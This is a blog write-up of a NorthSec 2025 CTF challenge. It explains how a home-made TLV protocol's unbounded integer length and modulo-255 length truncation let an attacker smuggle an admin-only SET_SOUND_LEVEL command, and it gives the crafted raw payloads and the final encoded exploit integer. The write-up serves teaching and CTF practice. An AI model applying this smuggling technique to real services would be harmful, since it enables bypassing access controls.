Northsec 2025 - Hornswoggle

Posted Mon 26 May 2025
Author ToG
Category Writeup
Reading 7 min read
Featured image

Disclaimer

In the absence of full source code, some explanations are purely observational, and may not be true.

If my understanding is not good, don’t hesitate to contact me

🔍 Introduction

The main subject of this grey-box challenge is to exploit a microservice written around a small “home-made” TLV protocol.

Challenges sources

The aim of this challenge is to use the Sound Level feature, disabled on the front end, to make the horn sound at over 150 Db.

We have access to two services, one via an API, the other via TCP, with a single back-end server. Several functionalities are present, and users rights is implemented.

TCP

My first idea was to interact with the TCP service, during the CTF I hadn’t seen the helpers implementing the logic, so I developed a custom tool, which nevertheless helped me understand a large part of the implementation.

I was able to interact with the service, but unfortunately we can only connect via the guest user, and the function mentioned above was disabled.

>> CONNECTED (Ready)

 > GET_CURRENT_USER
[REPLY] {'success': True, 'username': 'guest', 'is_admin': False}

 > SET_SOUND_LEVEL sound_level=150
[REPLY] {'success': False, 'message': 'Changing sound level requires an administrative account'}

I later realized that the service was there to make testing easier, and is therefore not necessary for solving the problem.

API

Things look better for API, we are admin by default:

GET /api/get_current_user

{"success": true, "username": "admin", "is_admin": true}

The function is however deactivated

POST /api/dispatch/set_sound_level 
body: {"sound_level":150}

{"success": false, "message": "SET_SOUND_LEVEL command was removed from web client for security purpose."}

On the basis of current information, we understand that we probably need to tricks the protocol in order to access the following functionality

Here’s a summary diagram :

🧩 Smuggling TLV

TLV stands for Tag-Length-Value. It’s a way to structure data so that it’s easy to read and parse

Each piece of data is stored like this:

  • Tag – What kind of data it is (specified by the server).

  • Length – How long the data is.

  • Value – The actual data.

Exemple :

[Tag=0x01][Length=0x05][Value="user\x00"]

But the way the server implements the protocol has a few logical problems…

Truncation Tricks

The main problem arises from the difference between the length of the value sent and that interpreted by the server. When a packet is received, the server parses and decodes the value field with the following function.

What we’re interested in here is the way the int is managed: as it is, no size restrictions are applied, allowing us to pass a field of the desired size into the package. ( in the case ValueFlag.INT part )

class Command:
    identifier: bytes = field(default=MessageID.Command, init=False)
    name: str
    parameters: ValuesDict = field(default_factory=dict)

    @classmethod
    def decode(cls: Type[Command], data: bytes) -> Command:
        name_end = data.find(0)
        name = data[:name_end].decode()
        if type(name) is not str:
            raise ValueError(f"Invalid command name: {name}")
        parameters = decode_values(data[name_end + 1 :])
        return cls(name=name, parameters=parameters)
def decode_values(data: bytes, offset: int = 0) -> ValuesDict:
    values = {}
    length = len(data)
    while offset < length - 1:
        key_end = data.find(0, offset)
        if key_end < 0:
            raise InvalidMessageFormatError("Missing null terminator for key")
        key = data[offset:key_end].decode()
        offset = key_end + 1
        value_type = data[offset]
        offset += 1
        match value_type:
            case ValueFlag.INT:
                # TODO: Support for larger int size
                byte_size = data[offset]
                offset += IntSize
                value = int.from_bytes(
                    data[offset : offset + byte_size], byteorder="big"
                )
                offset += byte_size  # /!\ No Limit /!\
            case ValueFlag.FLOAT:
                value = struct.unpack("!f", data[offset : offset + 4])[0]
                offset += 4
            case ValueFlag.BOOL:
                value = bool(data[offset])
                offset += 1
            case ValueFlag.STR:
                str_end = data.find(0, offset)
                if str_end < 0:
                    raise InvalidMessageFormatError(
                        "Missing null terminator for string value"
                    )
                value = data[offset:str_end].decode()
                offset = str_end + 1
            case _:
                raise TypeError(f"Invalid value type received: {value_type}")
        values[key] = value

    if data[-1] != 0:
        raise ValueError("Expected null byte at the end of parameters section")
    return values

So, when reading the buffer sended, any invalid command will not kill the socket, and we can add a second command that will be execute after the first one.

Last problem, the lenght of the message sended is truncated at 255 because of modulo, so if I send a value of size 300, it will be truncated at 45, here’s the part of the code concerned :

MessageSize = 1 

def encode(self) -> bytes:
    data = initialize_message(self.identifier)
    data.extend(encode_values(self.parameters))
    return finalize_message(data)


def finalize_message(data: bytearray) -> bytes:
    length = len(data) - 1 - MessageSize
    length %= 0xFF**MessageSize  # /!\ TRUNC /!\
    data[1 : 1 + MessageSize] = length.to_bytes(MessageSize, byteorder="big")
    return bytes(data)

Okay so here, smuggling should occur if we send a request containing a very large value, for exemple if we send a INT with 300 numbers, 255 of them will be “lost” but bufferized and desync client / server during the response

We can confirm this with a basic test :

Okay we got a 500, and some desync during next responses, time to exploit the smuggling

Craft malicious TLV

The only possible command where the user has full control over an INT argument is in the SET_DURATION function.

Ok, the aim is to smuggle a malicious SET_SOUND_LEVEL request so that it is interpreted by the server, without using the front-end.

To do this we will craft a full TLV request, and smuggle it with the SET_DURATION functionnality.

Here are the main ideas :

  • Craft a double request in rawbytes TLV
  • Should be < 255 bytes when decoded to avoid the truncature
  • On the first request use a valid payload
  • On the second, smuggle a malicious payload
  • Encode it with bytes_to_long

We start to create the malicious TLV for the sound_level:

C\x20SET_SOUND_LEVEL\x00sound_level\x00\x01\x01\x97

With :

  • C : Command ID
  • \x20: length
  • SET_SOUND_LEVEL\x00 : Command name
  • sound_level\x00 : arg
  • \x01\x01\x97 : type, length & value (INT of 1 byte = 151)

Tricks the error

We’ve seen that the socket isn’t cut off in the event of an invalid command, so we can use this to our advantage to tricks the call to SET_DURATION.

To do this, we’ll call an invalid function like :

C\x09AAAAAAAAA

With :

  • C : Command ID
  • \x09: length
  • A * 0x9 : invalid command name without null byte

Here the parser will read 9 bytes like mentionned in the length field, but won’t be able to call it. So it will just keep reading, and in the absence of a null byte after our invalid command, it will keep looping on our next command.

So we can use a payload like :

C\x09AAAAAAAAAC\x20SET_SOUND_LEVEL\x00sound_level\x00\x01\x01\x97

🛠️ Final Exploitation

Now that we have the basis of the operation, we need to chain everything together. I padded the entire payload to modulo 254, to make sure that previous and future attempts don’t impact the current smuggling, that give me the following 254 bytes decoded payload :

C\xdbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC SET_SOUND_LEVEL\x00sound_level\x00\x01\x01\xbe

and then encoded :

130708084938339368339552806856056480011647483400560941175180420891202054122525806240069850819606027257919095392646545580800583063444154737377794145352333461145345357691916804539499090791779013540441729711825897830564618354585326199362647364818434192678892399879601272151136924512212030462130517640230794374077615807660336885939695171375267240998827831580800268206494763014152268783294253745008530260531797355595511003638050624554020560975475083208770662113742113487347469091518561993463765335658908361125236112070413740189212066431571332116828841084576109252507704320069322804594289957035382400205922454873375166

When sent, the server parses the payload and triggers smuggling because the size is greater than the modulo and triggers a 500 error.

On the next request, the server interprets the rest of the previous buffer containing our malicious request, reads the invalid command, raises an error and interprets the second one.

And so when we reach a GET API url (to avoid further pollution of the buffer), like :

GET /api/get_current_user

The server returns a beautiful message :

{"success": true, "message": "Sound level was set to 190 dB"}

And we can obtain the flag on the website part !

My solve script

📝 Notes

I found this challenge particularly interesting, the pwn protocol part in python is really original and required extensive knowledge and a rather advanced creativity of exploitation. For reasons of time and scoreboard, I didn’t dig enought and solve this challenge during the CTF. The lack of source code and grey-box understanding of the challenge made it particularly time-consuming and difficult. It was only solved by one team during the event!
Thanks to NorthSec for challenges and keeping the challenges open for several days after the event :)